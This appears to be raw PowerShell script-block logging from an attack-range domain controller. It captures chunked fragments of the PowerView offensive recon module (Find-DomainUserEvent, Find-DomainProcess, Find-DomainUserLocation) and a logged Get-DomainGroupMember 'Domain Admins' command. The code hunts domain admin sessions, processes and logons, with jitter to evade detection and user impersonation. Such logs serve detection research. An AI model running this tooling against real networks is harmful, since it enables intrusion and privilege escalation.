4104152150x0189109Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11Get-DomainGroupMember "Domain Admins"abc11e5f-433c-4a80-9921-ab4004f15c38
4104132150x0188648Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3743Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainUserEvent {
<#
.SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
.DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
.PARAMETER ComputerName
Specifies an explicit computer name to retrieve events from.
.PARAMETER Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
.PARAMETER Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events (per host) to retrieve. Default of 5000.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserEvent
Search for any user events matching domain admins on every DC in the current domain.
.EXAMPLE
$cred = Get-Credential dev\administrator
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
.EXAMPLE
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
.EXAMPLE
$cred = Get-Credential testlab\administrator
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
# otherwise we're querying a specific group
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
}
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $TargetComputer
}
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
if ($Filter -or $TargetUsers) {
if ($TargetUsers) {
Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
}
else {
$Operator = 'or'
$Filter.Keys | ForEach-Object {
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
$Operator = 'and'
}
}
}
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
if ($Operator -eq 'or') {
ForEach ($Key in $Keys) {
if ($_."$Key" -match $Filter[$Key]) {
$_
}
}
}
else {
# and all clauses
ForEach ($Key in $Keys) {
if ($_."$Key" -notmatch $Filter[$Key]) {
break
}
$_
}
}
}
}
}
else {
Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'StartTime' = $StartTime
'EndTime' = $EndTime
'MaxEvents' = $MaxEvents
'TargetUsers' = $TargetUsers
'Filter' = $Filter
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainShare {
<#
.SYNOPSIS
Searches for computer shared0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1
4104132150x0188647Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3643r Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'TargetUsers' = $TargetUsers
'CurrentUser' = $CurrentUser
'Stealth' = $Stealth
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-DomainProcess {
<#
.SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.
Thanks to @paulbrandau for the approach idea.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName. If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER ProcessName
Search for processes with one or more specific names.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainProcess
Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.
.EXAMPLE
Find-DomainProcess -ProcessName putty.exe
Searchings for instances of putty.exe running on the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred
Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserProcess
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,
[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}
# now build the user target set
if ($PSBoundParameters['ProcessName']) {
$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
}
ForEach ($Process in $Processes) {
# if we're hunting for a process name or comma-separated names
if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
# if the session user is in the target list, display some output
elseif ($TargetUsers -Contains $Process.User) {
$Process
}
}
}
}
}
}
PROCESS {
# only ignore threading if -ed0a355c-6a4e-4652-8263-08393a47c23dC:\Users\Administrator\Documents\WindowsPowerShell\Modules\Recon\PowerView.ps1
4104132150x0188646Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3543
.PARAMETER StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserLocation
Searches for 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainUserLocation -Stealth -ShowAll
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
.EXAMPLE
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserLocation
#>
